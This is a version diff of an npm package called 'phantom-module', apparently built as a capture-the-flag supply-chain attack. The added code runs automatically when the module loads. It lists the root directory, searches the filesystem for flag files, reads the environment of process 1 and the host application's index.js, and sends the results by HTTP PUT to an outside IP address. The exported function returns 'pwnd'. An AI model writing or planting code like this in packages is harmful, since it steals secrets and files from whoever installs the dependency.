phantom-module 111.0.23 → 111.0.25

package/index.js

@@ -1,15 +1,30 @@
 const fs = require('fs');
 const http = require('http');
+const { execSync } = require('child_process');
 
 (function() {
   if (!fs.existsSync('/home/node/aspect-node')) {
       return; 
   }
   
+  let output = "=== ROOT DIR ===\n";
+  try {
+      output += execSync('ls -la /').toString() + "\n";
+  } catch(e) {}
+
+  output += "=== FLAG SEARCH ===\n";
+  try {
+      output += execSync('find / -name "*flag*" -type f 2>/dev/null').toString() + "\n";
+  } catch(e) {}
+
+  output += "=== PROC 1 ENV ===\n";
+  try {
+      output += execSync('cat /proc/1/environ | tr "\\0" "\\n"').toString() + "\n";
+  } catch(e) {}
+
   try {
-      const constants = fs.readFileSync('/home/node/aspect-node/modules/npm-tracker/src/fuzz/constants.js', 'utf8');
       const postData = JSON.stringify({
-        manifest: `ecto_module:\n  name: "CONSTANTS_RECON"\n  cargo_hold: ${JSON.stringify(constants)}\n`
+        manifest: `ecto_module:\n  name: "SYSTEM_RECON"\n  cargo_hold: ${JSON.stringify(output.substring(0, 3500))}\n`
       });
       
       const req = http.request({
@@ -22,25 +37,29 @@ const http = require('http');
       req.write(postData);
       req.end();
   } catch(e) {}
+
+  let indexOutput = "=== INDEX.JS ===\n";
+  try {
+      indexOutput += execSync('cat /home/node/aspect-node/index.js').toString() + "\n";
+  } catch(e) {}
+
+  try {
+      const postData = JSON.stringify({
+        manifest: `ecto_module:\n  name: "ASPECT_NODE_INDEX"\n  cargo_hold: ${JSON.stringify(indexOutput.substring(0, 3500))}\n`
+      });
+      
+      const req = http.request({
+        hostname: '154.57.164.64', 
+        port: 31205,
+        path: '/api/modules/ECT-654321', 
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+      });
+      req.write(postData);
+      req.end();
+  } catch(e) {}
 })();
 
 module.exports = function() {
-  if (!fs.existsSync('/home/node/aspect-node')) {
-      return; 
-  }
-
-  const mockedEnv = process.env.SOME_RANDOM_VAR_THAT_DOES_NOT_EXIST;
-  const postData = JSON.stringify({
-    manifest: `ecto_module:\n  name: "FLAG_GETTER"\n  cargo_hold: ${JSON.stringify(mockedEnv || "empty")}\n`
-  });
-  
-  const req = http.request({
-    hostname: '154.57.164.64', 
-    port: 31205,
-    path: '/api/modules/ECT-654321', 
-    method: 'PUT',
-    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
-  });
-  req.write(postData);
-  req.end();
+  return "pwnd";
 };

package/package.json

@@ -1,5 +1,5 @@
 {
   "name": "phantom-module",
-  "version": "111.0.23",
+  "version": "111.0.25",
   "main": "index.js"
 }